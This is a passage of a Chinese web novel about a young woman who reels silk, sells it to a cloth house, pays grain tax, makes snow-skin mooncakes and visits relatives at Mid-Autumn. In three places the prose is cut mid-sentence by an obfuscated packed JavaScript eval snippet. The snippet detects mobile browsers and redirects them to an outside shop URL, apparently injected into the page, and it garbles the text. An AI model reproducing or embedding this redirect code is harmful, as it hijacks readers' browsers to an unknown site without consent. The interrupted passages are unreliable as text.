村里人都知道是余晚桃帮忙与锦庄搭线的，一时过来串门的人都多了，鸡蛋鸭蛋，瓜果蔬菜甚的都拿过来。 见余晚桃不受夸，便转头去捧崔玉棠，叫人在村道里行过，都得被赞两句“好后生前途无量。” “桃子，喂鸡去啊？” “是啊，有些臭伤的地瓜不成吃了。”，余晚桃冲搭话的婶子扬起笑脸，“这日头可毒，婶子仔细暑着了。” “庄稼人哪能这娇贵，田里还有好几亩水稻没割完呢。” 余晚桃家没水田，她搭了几句腔，便提着篮子往桑园里去了。 散养的鸡长得快，破坏力也厉害，原本一直冒草茬的园子，自从养了鸡之后是寸草不生了，害虫也基本没有了，桑树根发黄的叶子更是被啄了个干净。 余晚桃惦记着明日要收蚕茧的日子，喂了鸡便去山脚那砍了一把竹子回去，削成竹篾，与小细柳赶制出了两个大的竹筐来。 辛苦许久，就到收获的日子了，余晚桃心里高兴，又期待，从蚕上簇结茧吐丝后她就一直记录着每日的数据，这一批蚕，约摸是能摘一百斤左右，顶天了不会超过一百五十斤的。 这头批蚕茧，只能留一小部分做绒花品，其余的缫出蚕丝，卖了换银钱周转，再进一张蚕种，到十月末能收今年最后一批蚕茧。 明年划出地来，扩大养殖规模，便可以积攒家底，在县里购置一个铺面开绒花铺，到时候请人手，教些绒花娘子来镇铺子，绒花饰品的生意在容县坐稳了便能往外销。 这样一来，整条产业链便都捏在自个手中，何愁没银子赚。 傍晚吃了饭，余晚桃在院里歇息。 小细柳把井里镇的荔枝吊上来，欢欢喜喜地剥着吃，这些日子以来她守着本分，勤恳做活，与人相处也松快了许多，不会时刻拘谨着，整个人面相上年轻了好几岁。 她自己吃着，也挑了串大颗的荔枝给余晚桃，与她说起村里最近津津乐道的事来:“你表哥同县里秀才郎的女儿定亲后，你舅母可在村里好一通炫耀，左邻右舍都请了去吃席，偏生没请你这正儿八经的外甥女亲戚，也不知怎么想的。” 余晚桃剥着荔枝吃，鲜甜一嘴，笑眯眯道:“舅母还生气呢，上回我只请了舅舅过来吃晚饭没喊她，不知是谁把这事捅到了她跟前，明里暗里骂我白眼狼好几日呢。” 也亏得李氏不知道她请客买肉的银子是从陈文祖身上坑来的，要是被她知晓了这个，可不得翻了天去的闹。 “当天不也给你舅舅拎了二斤猪肉回去嘛，李氏就是性子小气，泼辣得很。”，小细柳哼了声。 “不说她了，明天起来摘蚕茧，我教你怎么缫丝。”，余晚桃说罢有些愁:“一百多斤的蚕茧不好处理，我们人手怕是不够，还有几日就是中秋了，我想着在这之前将这批蚕茧处理好卖出去。” “要再请一位帮工吗？” “是有这打算，只是不好叫村里人。” 余晚桃有自己的考量，村里同锦庄的合作是她牵线的，如果这会让村里人知道她有缫丝手艺，只怕会引起一些有心人的怨气，毕竟蚕丝的价要比蚕茧贵。 一个村里富只富一家，白叫人嫉妒。 眼下她又确实没有将这门缫丝手艺教给村里人的打算，起码得等到她在县里的绒花铺开起来之后，才会考虑。 她也不是来救苦救难的，一切善举都得建立在对自身没有影响的前提下。 小细柳有些不自然地抿了抿嘴唇，双手搭在衣摆边反复擦拭着上面的荔枝汁水:“要不……我给你介绍一人吧？是我在慈济堂的一个妹妹，绝对信得过的。” “你在慈济堂还有妹妹？”，余晚桃微微诧异。 小细柳眼中闪过温柔:“不是亲的，只是她刚来慈济堂时年纪小，我带过她几年，她人很伶俐的，今年也十五了，明年就得被配出去，我知道你是个有本事的，我想让她跟着你做事，学一门傍身的手艺。” 这个慈济堂余晚桃还是挺好奇的，听着是跟孤儿院差不多，但似乎挺为人不齿的，里面的姑娘都没甚好名声。 “细柳姐，慈济堂不是官府置办来幼养孤女的吗？为何我听着倒像是给那些高门富贵人家培养的小妾奴婢。”，余晚桃皱眉，说出心中疑虑。 小细柳闻言脸色一变，忙拍了下她胳膊，压低声音道:“可不敢这样说，被有心人听了去是要割舌的。” 她搬着椅子凑近余晚桃:“我们慈济堂确实有教习礼仪的老嬷，是专门挑那些长得好的姑娘去培养，我刚与你说的妹妹，叫窈儿，，就是这一种。这是大家都心照不宣的，但谁敢说县令大老爷的不是，不要命啦？” “还有一种像我这样的普通姑娘，到了年纪就会打发出去，不过我们堂里也有一个不成文的规定，就是姑娘们也可以自己去找门户，总之十六岁后是不能够再留在慈济堂的。” “这世道孤女不能自立门户，要靠自己寻到如意郎君，何其困难，最后不还是得由着官府分配。” 这条律令，当真是叫人不适。 余晚桃心中后怕，想她自己也是险些去了这慈济堂的，今儿想想，不得不承认当初陈文祖说的一句话非常正确。 她因过继给舅舅，才免了被送去慈济堂这一遭。 “那明日你去县里把那窈儿姑娘带来吧，工钱就按一日五十文结给她。”余晚桃抬头看着天上圆月，心里头怅然。 她同小细柳道了一句后，荔枝也懒得吃了，起身拍拍衣裳沾的壳子碎屑，打算回屋睡觉去。 “哎！”，小细柳高兴应了，转身去拿扫帚打扫院里的荔枝壳。 许是睡时心里想着事情，余晚桃夜里做了一晚上被黑脸老嬷追杀的噩梦，给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639013|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己吓出了一身汗，梦里反击时还抬腿将崔玉棠给踹下床去了。 外边天蒙蒙亮，隐约可听着鸡鸣声。 余晚桃恶鬼缠身一般从床上坐起，顶着两个黑眼圈看向坐在地上的崔玉棠，哑声问:“你怎么坐地上去了？” 崔玉棠沉默着爬回床上，他定定看了余晚桃半响，才道:“两人挤着热，我坐地上凉快凉快。” 余晚桃抓着头发，低头打量身下一米五左右宽的床板，确实是窄了些，这么着将就了也有几个月。 她打着哈欠道:“等你去了书院，我找木匠重新打一张床放屋里，等你旬休回家，就不用跟我挤了。” “到时便入冬了，挤些暖和。”，这时也无法继续睡了，崔玉棠干脆起身穿衣，出去端了洗脸盆进来。 余晚桃趴在竹席上痛苦地闭上眼，嘴里嗷了一声，接着一个鲤鱼打挺跳起来:“不能再赖床了，哎呀今日有得忙。” 今日确实有得忙。 小细柳一早就去了县里。 余晚桃起来后去菜地浇水，崔玉棠则去灶房煮了一锅粥，上面蒸一笼屉的鸡蛋和粗粮，又从酸菜罐里抓了把豇豆酸出来切丁，放辣椒炒了一海碗的下粥菜出来。 吃了朝食，便要将家里能用的大水缸都搬出来洗刷干净，灶里也得提前烧上热水，怕柴火不够，崔玉棠还特意去山里跑了几天，备了足足的柴火。 “收蚕茧去！” 余晚桃拎着竹筐，干劲十足的喊了一声。 崔玉棠推开蚕舍门，对于这四十多天来努力的收获，也十分期待。 墙壁上的木簇已经结满了颗颗蚕茧，椭圆、饱满，喜人，余晚桃看着这些蚕茧都不是蚕茧，而是货真价实的银子。 她小心翼翼地取下一扇簇架，将结在木格子里蚕茧摘下来，这一个簇架就是二百个格子，要将这么多蚕茧都摘下来，也得费不少功夫。 幸而小细柳回得快，还给带了一帮手回来。 余晚桃见到窈儿第一面，这才想起几个月前那场轰动全县的状告，光是这一举动，便知面前这人不是个任人摆布的。 “崔公子，崔夫人。”，窈儿乖巧喊人，屈膝见礼。 面若桃李，身姿似柳，一双眼珠子秋水盈盈，我见犹怜。 余晚桃收回视线:“同细柳姐一般喊我桃子便好。” “哎，谢谢桃子姐给我这份活计，我定会认真做好的。”，窈儿弯着嘴角，跃跃欲试地询问:“我们现在要开始了吗？” 余晚桃笑道:“不急，锅里有早食，细柳姐你带窈儿去吃了早食，再把具体要做的事情告诉她。” 小细柳忙摆手:“不用，我们在县里吃了的。” “好，那开始吧。” 收蚕茧，剥蚕衣，再到煮茧，洗茧、缫丝，每一步都是精细活，余晚桃不得不一步步把关，言传身教。 四人一上午收完全部的蚕茧，将几大竹筐抬到院里，开始剥蚕衣。 “桃子姐，你识得游子涧吧。”，窈儿忽然开口道。 余晚桃倏地抬头，短短几秒便反应过来了，她面色微沉:“是你让细柳姐故意同我提起帮工一事的？” 22. 缴纳粮税 院里气氛窒凝。 窈儿却自在得紧，她抬眸，嗔道:“哪里的话呀，我可没通过柳儿姐来故意接近你们，是刚才见了你相公才想起来的，柳儿姐同我说帮工的事，我一开始也不知你们是谁。” 话及此她顿了顿，对余晚桃眨了下眼睛，俏皮道:“放心啦，我不会利用你们做其他事的，游公子他呀，我也不会再说了。” 余晚桃狐疑地盯着她，“你……” “可不要问我同游公子是甚么关系，县里未婚的姑娘大都识得他的，他爱听曲，我恰好会弹曲，就是这么一个事呗。”，窈儿一边认真剥着蚕衣，一边随口道。 “窈儿！”，小细柳拧眉，“你是个姑娘家，怎这般不把自己的名声当回事。” 窈儿撇嘴:“名声又不能救我，想要什么我得自己争取，还有一年就满十六了，我不得提前物色好夫君嘛，不然等着被分配，只能当个妾。” “我觉得窈儿说得很对。”，余晚桃仿佛听到了个惊天大瓜，她坐过去，一脸好奇地追问:“所以你物色的夫君是游大哥？” 窈儿点头，又摇头，她愁道:“是他，但又不止他。” “游公子对谁都好，出去一趟袖里塞满帕子，对姑娘们的示好来者不拒，我对他把握不大，所以追着他的时候，也找了几个备选，先一起处着。” 窈儿抿嘴微笑:“要是到十六岁还追不上，我就从备选里挑一个如意郎君，我长得这般好看去给老头当妾，岂不是一朵含苞芍药插进了牛粪里。” 小细柳越听越觉得离经叛道，眉头皱得紧紧的，心里直打鼓。 “厉害，快仔细教教我。” 余晚桃佩服不已。 古代版时间管理大师，鱼塘主当如是。 她忽然扭头看了一眼身旁的崔玉棠，见他专注剥蚕，大有一种“两耳不闻窗外事，一心只读圣贤书。”的沉浸感，不知怎的就很想笑。 崔玉棠从雪白的茧团里抬起头，觑她一眼。 余晚桃捂着嘴笑，歪身过去撞了撞他肩膀，玩笑道:“哎呀二郎生气了？” 崔玉棠淡淡回她:“没有生气。” “好了好了我不问了。”，余晚桃憋笑得厉害，同窈儿道:“二郎小心眼得很，不聊这个了，我同你们讲讲缫丝时需要注意的地方吧。” 三个女子的谈话里，崔玉棠是插不上话的，到了晌午他便自觉去灶房里做午饭了，早晨煮的粥还在剩了半锅，这会只要去后院里扯把菜，再煎条熏鱼干就可以了。 一碟呛炒青菜，一条煎熏鱼，一碗辣椒炒酸豇豆，菜虽然简单但吃起来有滋有味。 因着要赶工，时间紧迫，也没得休息多久，吃完午饭后便继续剥蚕去了。 申时初剥完全部蚕衣，开始煮茧。 余晚桃拿出先前做好的碱，水滚后倒入蚕茧，再加适量碱进去翻煮，掐着时间捞起来浸入冷水中清洗，再继续煮第二锅。 两人一组配合着，一边煮茧，一边洗茧，忙到夜里月亮升高，院中点上了蜡烛，才堪堪将所有蚕茧清洗完。 加碱煮过的蚕茧散着一股独特的味，经过清洗去除杂质后初步显出蚕丝的雪白柔软之质来。 忙活一日，大家都累了。 晚饭是将就着吃的面条，便洗漱回去睡觉了。 翌日起来余晚桃腰酸背痛的，但想到今日的缫丝大工程，还是坚强地爬了起来。 一旦开始缫丝，便是整日坐着。 上午因着窈儿不熟用缫丝架，要教人进度就慢了些，等下午她能上手之后，两座缫丝架便不停地转了起来。 一络接一络的蚕丝被整齐地堆在簸箕中，累了就替换另一个人，不过崔玉棠笨手笨脚的，在这方面毫无天赋，蚕丝头半天理不顺，最后被打发去煮饭，喂鸡了。 如此忙过两日，终于将全部蚕丝缫出来。 络络蚕丝柔软雪白，如银丝缕缕，不见一点杂质，当为上品。 给了窈儿和小细柳各一百五十文工钱，当天崔玉棠去县里买了好些肉菜回来，算是庆祝这一趟活顺利完成。 送走窈儿后还有两日就到中秋了。 余晚桃留起小部分蚕丝，其余的全收进竹筐里，由崔玉棠背着去县里，两人直奔锦庄。 这次那锦庄东家不在，出来接待的是专门负责收蚕茧的管事，姓张，为锦庄主家家奴。 “二位快请进。”，许是托了游子涧的关系，锦庄的人对她们很是客气，将人引进内厅后让丫鬟奉了茶上来。 余晚桃吃了茶，同张管事扬起笑容:“我这有一批上好的蚕丝，您掌掌眼？” “那我可要仔细看看了。”，张管事朗声笑着，扬手让小工将竹筐抬上来，掀开上面那层灰布，目光落在竹筐内。 他顿了片刻，瞳孔骤然一紧，弯腰取了络蚕丝出来，一摸一闻，眼中绽放出光彩，“姑娘好手艺啊！” 这种品质的蚕丝，要比他们自家布庄产出的还要好，光是柔软的触感和纯白无暇的色泽，就已经很接近江南那边特产的贡绸了。 “你们可有多的？” “精力有限，只得了这一筐。” 张管事惋惜地摇头，“可惜了，若有多的，若有多的……” 他叹了声，当即道:“这些我们庄子收了，价钱方面可容我去问问东家？” “自然可以。” “那二位稍坐片刻。” 张管事取了那络蚕丝，匆匆往二楼去。 余晚桃悠闲吃着点心，见崔玉棠握着茶盏在手里转来转去，睫羽低垂似在沉思，她倾身过去，递给他一块糕点:“想什么呢？” 崔玉棠言了谢，接过糕点咬了一口，“这锦庄的东家是府城人士，不知能否向他打听些事。” “你想问大伯那件案子？” 崔玉棠闷闷点头。 “此事先别问，等去了青山书院同游大哥打听清楚了他这位好友的品性，你再另寻机会侧面打探一下。” 若贸然去问，难保不会引起大伯昔日官场上一些政敌的注意，何况那夜火烧崔府的人尚不得知是谁，这背后涉及到的阴谋他们更是一无所知。 崔玉棠明白过来:“还是你想得周全。” “你是关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651642|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心则乱。” 二人说了一会小话，张管事便从二楼下来了，他面上微红，带着许些激动的神色，同余晚桃拱拱手道:“这一筐蚕丝，东家可以八十两银收购，另外若姑娘有意出售这门缫丝法子，另赠二百两。” 对此千丝坊，锦庄这手段才叫磊落阔气。 余晚桃并未一口回绝，而是道:“这是我们家祖传的缫丝手艺，还需认真考虑才能答复管事。” “这不急，姑娘慢慢考虑便是。” 结了银钱，将人送出铺子后，张管事来到二楼复命，对撑着下巴靠在窗边，静观楼下二人离去背影的东家拱手，“东家，若我们锦庄得了这一门缫丝手艺，那对往后的发展而言是大有裨益的。” “此事莫急，好歹也得给游兄几分薄面。” …… 这个价俨然超出了余晚桃的预期，她走在街集上，目光在两侧热闹的摊贩身上来回逡巡，絮絮地同身旁的崔玉棠说话。 “你去书院一事是游大哥帮着举荐，中秋了我们合该备些礼送。” 崔玉棠顺着她应:“中秋见礼多是桂花糕，螃蟹这些，你可看着挑选。” “时下卖的糕点不好吃，我做些不一样的给你尝尝，顺便送礼。” 余晚桃打算自己做一些冰皮月饼，照着需要用到的食材买了糖霜，红豆，玫瑰酱，粘米粉与糯米粉麦粉都各称上五斤，又去胭脂铺买了些晒干的玫瑰花和绿芍。 剩下的牛奶不好找，最后是跑到牛贩子那才从牛棚里得挤了两竹筒，刚挤下来的牛奶还带着一股腥臊味，余晚桃是全程皱着鼻子接过来的。 二人刚回到村口，就见大槐树底下围着一帮子村民，中间是几个穿着官服的粮税官和衙役，这才想起今儿是官府来收粮税的日子。 余村长在旁边支应着，抬手将余晚桃喊了过去，与她说道:“你们家没水田，只有二十六亩的桑园，这个桑园是开荒得来的，可以免五年土地税，但是如今早就过了五年期，你们两口人，按人头交粮就是一人两石，共需交四石。” “如今粮价十五文一斗米，四石的粮税就是六百文，再加二两土地税，便是二两六百文。” 家里没水田地还多，用银子去抵，土地税都占了大头。 余晚桃过去排队，数了钱递给粮税官，粮税官问清户籍后在税册找到对应的一列，盖上官印，连头都没抬就说道:“让你们家男人来按手印。” 余晚桃闻言，心头有些憋屈。 她让崔玉棠去按了手印，就一路疾行回了家，也不知道自己在气什么，总归是替活在大魏的女子感到悲哀。 崔玉棠去灶房里将买来的东西归置好，端着一碗糖水进了屋，他不善言辞，尽管察觉到余晚桃此刻低落的情绪，一时也不知如何开解。 “阿桃，外面世道伦理，我如今力量微薄无法左右，但不管何时，我都听你的，你是一家之主。” 崔玉棠纠结许久，还是顺着心意，真挚地给予余晚桃承诺。 余晚桃看着他，漂亮的眉骨如山峰挺拔，眼眸专注又认真，胸膛里的心脏骤然加快了半拍。 23. 冰皮月饼 晨起一缕曦阳从半掩的窗台照进来，带着秋瑟的凉意，透过纱帐落在床上将将醒来的余晚桃脸上，不知不觉，最是燥热的时节已至尾声。 她起身穿好外衣，难得由闲散性子作祟，呆坐着神游天外，半响才从床边的四方桌上取来一面铜镜端祥自己，谈不上貌美，皮肤也略有些粗糙。 若真要说，最多只能得一个不俗不艳，浓淡相宜。 来到这之后每日游走在田垄地头，忙着生计，忙着吃喝过活，自身都疏于管理了，昨儿崔玉棠那张脸皮子一凑近，细腻白皙得叫人自惭形秽。 明明两人都没少干活，偏只糙她一人。 余晚桃瞧着铜镜里，往下撇的嘴角，自己都给逗笑了，乐呵够了，就动手盘起长发，用木簪固定住后取了一面靛青色的发巾缠在发包间，两鬓梳下几缕碎发修饰面容。 这是乡里正儿八经的妇人装扮。 推门出去时，迎面便撞上端着洗脸盆进来的崔玉棠，她险险躲过，拍着胸脯瞪人:“怎么走路都没声的。” “只以你没醒呢。”，崔玉棠将洗脸盆端进房里，又细致地给她备了牙粉，柳条，和洗脸巾子，他见余晚桃今儿盘了发，有些诧异，但也没多问。 只与她提醒道:“今日不是要做月饼吗？可有要我帮忙的？若用不上我，我就去山里打猎了。” “干嘛还打猎去？”，余晚桃洗了脸，微拧起眉来:“就要去书院了，怎不抓紧时间练字读书，仔细到了课室里，先生考校时惹笑话。” 崔玉棠认命点头，难得的与她说起玩笑话来，眼底弥漫着清浅的笑意:“娘子的话不得不从，那我做了早食再回屋习字吧，今儿想吃什么？” “就吃面吧，细柳姐呢？” “去桑园喂鸡，打桂花了。” 进了灶房，余晚桃蹲下生火，崔玉棠则去木柜里取了两颗鸡蛋，一把手擀面出来，再剁些赶早去村里买的鲜猪肉碎，放锅里翻遍，加入菌菇辣酱调汤面浇头。 “第二批蚕种甚么时候回来？” “过了中秋。”，余晚桃百无聊赖地撑着下巴，静静观赏貌美公子掌勺，专注炒猪肉的过程。 不知从甚时起，灶房里掌勺的就变成了崔玉棠，而且他似乎乐在其中，这手艺也是渐长。 崔玉棠默了默，往铁锅里加水煮滚，声音有些低落:“我去了书院，半旬一归，家里的活都只能压在你身上。” “有细柳姐帮我呢，就是每日摘桑叶要多背几趟，但也不碍事，实在忙不过来我会另找人帮忙的。” 水煮开后放入手擀面，加盐调味，让面条翻腾一会再打鸡蛋进去，掐一把青菜铺到面条上，盖上木锅盖闷一会，面条熟后盛到碗里，撒一些葱花，挖勺菌菇辣酱点缀。 满满两大海碗面，色香味俱全，余晚桃吃得心满意足，崔玉棠负责下厨，她就顺其自然的接过了洗碗的活。 因为要做冰皮月饼，灶膛里还留着柴火，余晚桃洗净手，从木柜里取出做月饼需要用到的材料归置到一旁，取过竹筒，将里面的牛奶倒进铁锅里加糖霜煮沸，最后盛起放水里镇凉。 趁着牛奶晾凉的功夫，余晚桃将红豆淘洗干净后放入砂锅蒸煮，今天她打算做三种口味的冰皮月饼，红豆沙、玫瑰酱，还有桂花蜜的。 这个时节正是桂花季，她桑园里那几棵桂花树簇簇金黄，香飘数里，瞧着喜人得很，打下来做桂花蜜或者晒干制成桂花茶，都能留很久。 她拿了两个木盆出来，将粘米粉，糯米粉和小麦粉按照一定比例倒进去，然后就是糖霜，晾凉之后的牛奶，全倒进去后搅拌成糊状，再过一次筛使得面糊更细腻，最后放蒸笼里蒸半小时。 等待期间往灶里加了两根柴，望着外面柔和的太阳光线，将晾衣架挪到了院里太阳底下，去屋里翻腾出被褥挂上去晒。 入了秋天气渐凉，这些被褥不提前拿出来晒晒太阳消毒杀菌，总有一股子霉味。 这时院门吱呀声响，小细柳背着一小筐的桂花回来了。 余晚桃从被褥间探出脑袋，“打了这么多？” “花簇长得密，我拿竹竿一拍就哗哗往下掉。”，小细柳额头上冒着细汗，笑得很开心:“做桂花蜜剩下的晒干存起，以后来客请人吃茶可不差的。” “是这个理，对了趁着有日头你也把自个屋里的被褥拿出来晒晒吧，祛祛霉味。”，余晚桃接过她手里的背篓，拿了簸箕出来，倒一半桂花进去把叶子碎梗挑拣出去，准备做桂花蜜。 桂花蜜用的糖多，也幸而昨天买了足够量的糖回来，不然都做不成。 灶里只有两口铁锅，和一方烧水的深口锅，煮红豆和蒸面糊占了两个地，只余下一口大铁锅空着，余晚桃把柴火挪了两根过去，点燃火，将锅刷洗干净。 “做桂花蜜得拿盐腌制一下，去除涩味。”， 小细柳抱了被褥出来晒，就进了灶房，把手洗净后取来一口大的木盆，倒入桂花，从盐罐里抓了两把盐撒进去搅拌均匀，用布闷着腌出暗黄的汁水。 村里每年到这时节家家户户都会备些桂花蜜，不过糖是稀罕物，多是不舍得放，制出来的蜜不甜，还带着一股涩味。 小细柳从前在慈济堂跟后厨的一个老师傅学过一下，知道做桂花蜜首先就是要除涩味，其次炒糖和蜂蜜也不能少放。 “我的面团蒸得差不多了，那边还有一些干花瓣得研磨成粉末。”，余晚桃将蒸好的面团端出来，砸到案板上，捏着耳朵散热。 小细柳拿了杵臼出来，一边舂花粉一边稀奇地看着余晚桃往面团里加入油，来回揉搓面团得油亮亮的，“桃子，你这是从哪听来做糕点的法子？以前没见过这样做面皮的。” “自个琢磨出来的，肯定能吃就是。” 揉好的面团有一种在搓棉花的错觉，她将面团切成了三个大挤子，原色不动，其余两团分别加入玫瑰花粉和绿芍粉染色。 面皮做好后就是馅料，煮熟透的红豆碾碎过纱布挤出水分，放进锅里加糖慢火翻炒至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665731|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出糖沙，红豆馅的就用原色饼皮，做好后放进模具里压出形状图案，满一笼屉就先上锅蒸。 剩下的玫瑰酱馅和桂花蜜馅如是重复。 忙到下午，晶莹剔透的冰皮月饼全部出锅，余晚桃自己挑了一个桂花蜜馅的吃，外面是翠玉般晶莹的绿色，内里桂花蜜橙黄流浆，咬一口糯叽叽的口感不似糕点沾满腔的粉末。 小细柳也吃了一个，直接被这独特的口感震惊到了，实在难以想象，这般晶莹剔透，软糯香甜的糕点，竟是自己做出来的。 “这个玫瑰酱馅的好香，口感好奇怪，有点像过年是要做的蒸糕，但是又比蒸糕要细腻得多，要是拿去卖的话一定很信销。” “不买，留着送节礼和自己吃。”，余晚桃大概数了数，心中有了章程，取了油纸来将要送礼的先单个包起来放到一边，然后就是要给庆叔和村长的。 给村里人送节礼没甚讲究，不用特意包装，就是送游子涧的，和给崔玉棠拿去书院送教谕及住舍同窗的要费些心思做漂亮包装。 出门在外，要同各色人物打交道，人情往来不可少，外面到底不同村里人淳朴热心，想要过得安稳端看为人处世圆不圆滑。 一份一份清点下来，还剩下三十多个，余晚桃拾了五个给小细柳，“这些拿去送给窈儿吧，剩下的我们就留家里吃。” 小细柳十分开心，也不推辞，“谢谢桃子，窈儿她收到节礼肯定很开心的。” “窈儿性子坦荡，同她交朋友心里舒适，不会有别扭的心思，往后说不定还要找她帮工呢。” 余晚桃照着三种口味的各拿了一个进屋里，见崔玉棠在认真练字，她走近些坐到方桌对面。 窗台大开，外面明亮的光线透在桌上，叫余晚桃将笔墨间行云流水，力透纸背的楷体诗词看得分明，她微讶:“你字写得这般好？” “幼时开蒙，爹娘请过先生教习，只是生病后荒废了，这才找回些手感，只得其形，不成风骨。” 大魏官用文字是楷体，科考时便是需要统一字体，然楷体也分许多种，都各有风骨，其中簪花小楷是偏中规中矩的，若要形成自己的风骨，还需经年累月的刻苦钻研。 “歇歇吧，快尝尝我做的冰皮月饼。”，余晚桃把小碟往他那边推了推，眼含期待。 崔玉棠垂眸，见碟中冰皮月饼晶莹剔透，甚是精致，他捻了一块吃，细细品尝，“这就是冰皮月饼？似乎同以前吃过的糕点都不一样。” 余晚桃也吃了一块，扬起笑道:“这个做法特别，别地可没有的，我已经分装好了，一份给游大哥送节礼，一份带去书院送给教谕和与你住在一舍的同窗。” “好，都听你的。”，崔玉棠眼底浸满笑意。 傍晚吃了饭，余晚桃和崔玉棠一起去给村里同族的长辈送中秋节礼，走了几户，从村长家出来后，直奔陈家。 到了陈家院外，李氏的声音如锣鼓般的透过院墙传出来，不同于以往的吵嚷，这次是明显带着喜悦的。 24. 中秋访友 “瞧瞧未来亲家多大方，送中秋节礼足足两匹布，还是我儿有本事。” “这料子好，留着给文祖做几身衣裳。”，这是陈老根的声音。 “用得着你说。”，李氏啐了一声。 余晚桃与崔玉棠对视一眼，崔玉棠给了她一个安抚的眼神，上前去敲门。 来开门的是李氏，看清来人后整张脸皮拉了下来，翻了一个冲天白眼:“你们来干嘛？” 崔玉棠声音温润:“中秋将至，我和阿桃来给舅舅舅母送节礼。” “进来吧。”，李氏扭着屁股往院里走，往凳子里一坐也没个要给人倒杯水的想法。 崔玉棠将带来的一包冰皮月饼和一刀猪肉放到桌上，给陈老根和李氏问了好，李氏大概是看在那份礼上，难得没有嘴臭顶两句。 还好心情地说:“你们表哥八月二十娶亲，到时候记得来，还有桃子得提早一晚过来帮忙干活。” 陈老根看了一眼李氏，见她无动于衷，只能自己起身去正屋里倒了两杯茶水出来，脸上带着歉意:“咱亲戚少，家里办喜事桃子是会忙些，但活也不重，文祖就你一个妹妹，你到时候忙忙屋里活，新娘子迎回来后在新房里陪陪她就成。” “表哥成亲，我肯定会过来帮忙的。”，余晚桃扫了一圈，重新修整过的青砖瓦房干干净净的，不得不说在陈文祖的亲事上，李氏确实是费了心力。 她迟疑了下，还是将崔玉棠要去青山书院的事说了，陈文祖也在书院里，两人日后难保不会撞见，此时借着李氏的嘴在村里传开，免了日后个个都来问。 李氏听了话，啧一声，嘲讽:“送一个傻子去读书你也是脑子浸豆腐了，有那闲钱还不如留着给文祖考秀才，我们文祖聪慧，读书有天分，可不是人人都能像他一般的，别到时候银子打了水飘，再来找你舅舅哭穷。” “二郎自然是比不得表哥聪慧，只是头先公公婆母积攒了一些人脉，这朝才得人保荐进了书院，到底能识些字，以后在县里找营生也松快些。”，余晚桃给李氏戴了一顶高帽子，借口家里还有活，同陈老根告了别就离开了陈家院。 …… 中秋当天，县里人潮涌动，摆出来的糕点看得人目不暇接。 今儿是家里三口人一起来的县里，小细柳去了慈济堂找窈儿。 余晚桃和崔玉棠来到了陈府。 陈攸林是游子涧的外祖，现任青山书院教谕，是容县名望极高的文客，且自身有举人功名，家中又是书香门第，更有远在京城任户部侍郎的女婿。 如此门户，中秋设宴，赴宴者皆是容县达官显贵。 崔玉棠并未托言是给陈府的中秋节礼，而是以游子涧好友的身份，让门房将礼带进去给游子涧。 于偏门侯了片刻，便有门房疾步跑来，引着他们从西侧垂花门进去，行过一段曲绕回廊来到游子涧的院里。 “游兄，中秋吉乐。” “同乐同乐。”，游子涧对于二人的到来十分欢迎，让人看了茶，翘腿坐在雕花椅上，哀叹道:“可算盼着你来同我说说话了，不然得被我那磨人的小姑姑缠死，害我连书都读不进去。” “今日祖父设了中秋宴，二郎等会与我一起去拜见一下他老人家吧。” 崔玉棠推拒:“今日与阿桃同来的，怎好去了前院，将她一人留在这。” “好办呀，让我那磨人的小姑姑同李娘子玩玩便是，她嘴上聒噪但性子极好的，说不定与李娘子谈得来。”，游子涧言罢便让人去请他小姑姑。 余晚桃眸色微敛，面上勾起一抹微笑，她同崔玉棠道:“二郎，难得到了府上总是要去拜见一下的，不用顾虑我。” 崔玉棠皱眉，刚欲开口便被一道清脆娇蛮的嗓音给打断了，他寻声投去视线，见是一打扮娇俏的姑娘，便淡淡收回目光，吃了口茶。 “作何遣我来同人赔笑脸，我可不是甚么人都搭——”，声音戛然而止。 余晚桃朝来人露出一点笑意，面上带着三分腼腆。 陈小绣拎着裙摆飞奔进来，不敢置信地凑到余晚桃跟前，确认没看错人后，拉着人起来高兴得蹦了蹦脚:“是你这小穷酸呀。” 她拿帕子掩着嘴乐呵，翘着语气道:“哎呀可是有新款式与我？我跟你说，我戴着上次那套绒花珠链去赴宴，好多姐妹儿和夫人都来问呢，可羡慕死她们。” “小姑姑，作何这般喊人？”，游子涧眉心微拧，将她拽到跟前训斥:“自小教你的礼仪都忘了不成？这是我好友之妻，你与人尊重些，瞎喊甚么。” 陈小绣被训得低下脑袋，噘嘴同余晚桃告了歉。 崔玉棠脸上笑意已然淡了几分，他自知这些门户的小姐脾性都娇纵，只是听着那句理所当然脱口而出的“小穷酸”，忍不住心中难受。 只愧自己让余晚桃受了委屈。 